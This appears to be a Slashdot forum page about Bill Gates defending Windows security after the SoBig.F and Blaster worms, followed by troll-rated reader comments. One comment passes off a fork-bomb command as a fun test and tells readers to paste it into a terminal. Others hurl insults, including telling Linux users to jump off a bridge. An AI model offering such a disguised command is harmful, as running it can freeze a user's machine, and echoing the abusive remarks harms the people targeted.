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Gates Says Windows Reliability Is Greater

Posted by ryuzaki0 on from the release-the-worms dept.

mogrinz writes "According to an interview with the New York Times, Bill Gates is proud of the achievements Microsoft has made in increasing the security of Windows. As for the effects on people being attacked by SoBig.F, etc? Gates says this is "something we feel very bad about". Gates summarizes the Microsoft position very succinctly: "We're doing our very best, and that's all we can do"."

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  1. Greater than by Anonymous Coward · · Score: -1, Troll

    my first posting ASS!

  2. Just Great by Tuna_Shooter · · Score: 1, Troll

    May his best isnt good enough ..@

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    1. Re:Just Great by Anonymous Coward · · Score: -1, Troll

      Partake in the basking glow of sweet sweet microsoft.

      The wonderful security of Windows.

      The beautiful complexity of Internet Explorer.

      The unending usefulness of Word, Excel, and Frontpage.

      Damnation for all things "Linux".
      Linux zealots need to
      1. Shoot a penguin, then eat it.
      2. Delete their hard-drives and never touch a computer.
      3. Take basic Grammar and Vocabulary lessons.
      4. Jump off the nearest bridge. Seriously they serve no useful purpose.

    2. Re:Just Great by Anonymous Coward · · Score: -1, Troll

      Is that why they all suck?

      Oh wait, its because all linux users are whiny virgins.

  3. How many Billion$ in reserve? by Sphere1952 · · Score: 0, Troll


    If Microsloth was doing their best if fix Windoze666 they'd be broke. Instead they're doing their best to rip everybody off.

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  4. I say Debian Gnu/Linux reliabity sucks. by Anonymous Coward · · Score: -1, Troll

    Have you even tried debian stable? Well I hope you have a pre ghz boxen becasue Debian won't even boot on computer! SuSE 8.0/1 could, Redhat could, Gentoo could, Mandrake could! I got it working on my cheap laptop but it sucked really bad

    I hope you like your Debian scwealing on your Packard Bell pulsar, and I hope you like getting fscked! Every sane distrobution uses Ext3 or ReiserFS, not ext2 like debian.

    Do not mod flamebait, or troll. Because if you do you are a zealot who has their head up their ass!

  5. Linux is unstable lol! by Anonymous Coward · · Score: -1, Troll
    Think linux is stable? Well your wrong! Copy and paste (thats if X's crappy mechanism lets you) this into your nearest xterm and watch the fun!
    echo "main(){for(;;){fork();}} | gcc -o crashlinux && chmod +x crashlinux && ./crashlinux
  6. No Bill... by cca93014 · · Score: 0, Troll
    Q. The buffer overrun flaw that made the Blaster worm possible was specifically targeted in your code reviews last year. Do you understand why the flaw that led to Blaster escaped your detection?

    A. Understand there have actually been fixes for all of these things before the attack took place. The challenge is that we've got to get the fixes to be automatically applied without our customers having to make a special effort.

    No Bill, the flaw that led to Blaster, not the fix that you then came up with. Jesus. What sort of interview was this? Or let me guess, the questions were OK'd beforehand.

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  7. I want my money back!!! by HanzoSan · · Score: 0, Troll



    We should get a refund, all these billions we gave to Bill Gates, and he cant spend some of it to fix his damn OS?

    He is trying his best? What a load of bullshit!!!!! Microsoft just refuses to spend their #$@! money!!!!

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  8. Re:A SoBig Achievement by HanzoSan · · Score: -1, Troll



    Maybe if Microsoft were to invest $14 billion in R&D like they are supposed to, they'd have a secure OS!

    Bill Gates is just a greedy bastard and refuses to admit it, he is the richest man in the world but hes trying his "best" to fix his buggy OS, all on the cheap of course, using indian labor and spending the least amount on R&D possible.

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  9. Re:No? by Anonymous Coward · · Score: -1, Troll

    > Auto-update doesn't install new apps. If you've ever been to windowsupdate you know that updates are split into 3 main categories, critical updates and service packs, driver updates and windows software. The only thing that the update daemon does is download updates from the first category, i.e. critical updates and service packs.

    And Microsoft considers DirectX 9 to be a "critical" update to Win2K/XP in spite of the fact that the update summary for DirectX 9 doesn't mention any security-related impact at all - it's an advertisement for Greatly Increased Functionality and Convenience!

    Yep, I know *I'd* be pleased to have auto-update enabled and find that crap installed. Yep, just the kind of SECURITY fix I was expecting.